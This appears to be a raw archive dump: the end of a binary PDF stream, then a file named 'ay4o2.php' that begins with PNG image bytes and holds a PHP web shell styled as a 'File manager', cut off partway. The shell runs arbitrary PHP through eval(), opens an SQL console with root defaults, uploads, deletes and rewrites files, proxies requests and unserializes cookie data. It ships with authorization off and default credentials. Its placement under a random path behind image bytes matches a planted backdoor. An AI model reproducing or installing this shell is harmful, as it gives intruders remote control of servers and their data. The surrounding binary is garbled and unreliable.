8�]����P���G͠&Գ�Z�������YMY]��c�xeka�t7�o�1�z�O�6�}U�x�6M���l�9��~����g��c;�Q�Vg�12�B{w(j犮�c;ב��T��y�y|X�G�-I�h�3�z�M�>�R"J1?/����p��(_K���o�Ŕ�y�>y���(��Kr|�G4���*�*
iJ=�hf�4J���pN
��`�+e!P!`I�\D��A��{T~ %����Q�(�j.�O�v��Ǽ��Jv'$^eeI�Fu����2�B���d�E��]H���B��$��B�P�.>�v���h�R��
%P�eTEb<�Uz�$^e!Q�`Q�T�R(��lE���Vqp�,D	�U%PQ���A��Z�w�,�pK�F����S�z�MT�Bc��B19`�qVovvB���[6�'(�?��i`��4/�ଖn���/�B�x?�i9T=�8%��f�/�ˋ�9�h��0��`3ж"�����ۤF�J�o��s*E'sK��F��y�ɶ?SP�䶜^�LM,�7��,
0x3_�K^��	�a�͞9:꠯��@���n�ˁ��/}0�Ƥe�&(����_*�x"y'X����t�X� o�9�N$*$��%1�� M�Q)3��sېq(�f�F�S̆h�zӠ�I������BP%5���h$�6�QTQ
���ˠ����]�*�ZTS��4�A[�J���ZTS��4��[�J���Ts��4�A��(���T�<@�_B>rw6��Q�z���+�{���s�p�%ֻ�^����̽m�n�o�[������5cYcz1��ĀOХ�i�t<�a�l{5��a/������G2�~��C���h�mNץֵ�וߵ��Y�/�P~c���~�^����+�}��k��Rh,�uC�2~�P���#碷b9��wC�2������PCv97v)���K����P���^c]���Z����B[�#���3���H��x����֭5���+�}��V�x%��(�I���Ǿ֘���Ƽ�n땯R�1�͐9J�b �%�"�,vbޑ4��������>�R_� ��4�^D��C�"��H!��\�!U�j��e�QQ�j.Q��jEE*ɠrkI�FE�TS��T+*�PI�T
�ՠ�J�(D�ʨ8B-2�ܠR(�(D5��Q�@����dPQiBT�j*Q��*�˜��;.����(FUc��n̻���M7�=�ލy�<%A�F�u؍eO��cY�j9�t�Q6.\-y�gq���Y�۱Y�#k?6���nlֈ��fW�Oc�-d�.����{7;�ߎ�:f|/#���`[��V���yHi�`�c�S�<��oԸ�$ه���A\���+��B����u�7�,�"t�C�9r��`Дđo+*����%��$��*�EQ�z��P��=jQ�ı�Y9%q�瑗�P�đ�$j����1�ô�)��WZ9�/�JEIif-��8�C-�����86�ġ(�0�>k�'��>�<:��ò�Ctp����Q��j���ܩ���M��َۨ�ͱ ��*���|}��*���W~o��?o/�7L�u�X��gCdžp��8_�O[��ϼ��K�mu��C�e���'m1��ٺn͠��i���P���7�����<hի�m���G�����K6���F�����ی͗�Jy���Q舝����43яY��,I��p�v�ƛ60�!+���{;;�=F��.��D��e�!�HB9��ƷF� O��q�vpO��{rb�s67��h��W��a�(�Ã\LD�ԓ���7�nj���k`T5߉<k����s;���X�W~~E��"P�*�+���"P�*�+���"p�*4��Wɡ(�JE��Ur(
���CQ8|�����P_%��p�*9��W��)�JE��Ur(
���CQ8|�����P_%��p�*9%q1�IEy]Vs~�Yph
�JE�[�hє�uiP��$�����=4%q�7��Дı�gx*8%q��t"9%��4��ה�UЂ4%q�8H�(M��F�����{��G$��c�*K�'�o��(����T��R-^p(J�x��(����T��R-^p(J��ʡ)��G�g�ީ���ڏ��ԾzG�2���{���h�<��i�}|Wbp8n��������@��v� �ɪ
p�1#F��8�y�B�U2K������{�*X&Ѷ�N����&K����4=��[i0$�9f[�������[����Z��l�����hγ���f��B��Q�?ʫgL�X�8�w/�w�k��u�8�7���밒i�>8$xk=U�0���fE'�U�n�9��Rݺ�P�����T�.8��u��(խE�n]p(Ju�CS�[ŭ���A{3��Oh��&�7~=�g��b6�!#?���;K�=�9�f ^ Ư l0�P��$�������nxX�_}ӴxX�~~DO�ؓҼ����u}Y8=�}_Λ�ߗ]8���/��Ù��k��}Z���Q��O�;�m�C:���m�n+Kn��_295�IJ #^K�����/_���o���?���?�<<1
endstream
endobj
52 0 obj
4637
endobj
xref
0 53
0000000000 65535 f
0000000015 00000 n
0000017955 00000 n
0000017976 00000 n
0000018063 00000 n
0000018081 00000 n
0000018299 00000 n
0000018761 00000 n
0000018780 00000 n
0000019163 00000 n
0000019311 00000 n
0000049209 00000 n
0000049231 00000 n
0000049321 00000 n
0000049340 00000 n
0000049551 00000 n
0000050157 00000 n
0000050177 00000 n
0000050686 00000 n
0000050828 00000 n
0000070176 00000 n
0000070198 00000 n
0000070289 00000 n
0000070308 00000 n
0000070529 00000 n
0000071062 00000 n
0000071082 00000 n
0000071525 00000 n
0000071676 00000 n
0000086755 00000 n
0000086777 00000 n
0000086865 00000 n
0000086884 00000 n
0000087095 00000 n
0000087476 00000 n
0000087496 00000 n
0000087788 00000 n
0000087930 00000 n
0000108979 00000 n
0000109001 00000 n
0000109092 00000 n
0000109111 00000 n
0000109332 00000 n
0000109888 00000 n
0000109908 00000 n
0000110374 00000 n
0000110525 00000 n
0000161131 00000 n
0000161153 00000 n
0000161253 00000 n
0000161314 00000 n
0000161652 00000 n
0000166365 00000 n
trailer
<<
/Size 53
/Root 48 0 R
/ID [ <94f5d6f3adae40b1a32ebc0dfdf1f476> <94f5d6f3adae40b1a32ebc0dfdf1f476> ]
>>
startxref
166386
%%EOF
w2hfdj/ay4o2.php000064400000231660000000000000007350 0ustar00‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±
üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>gerenciador de arquivos</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
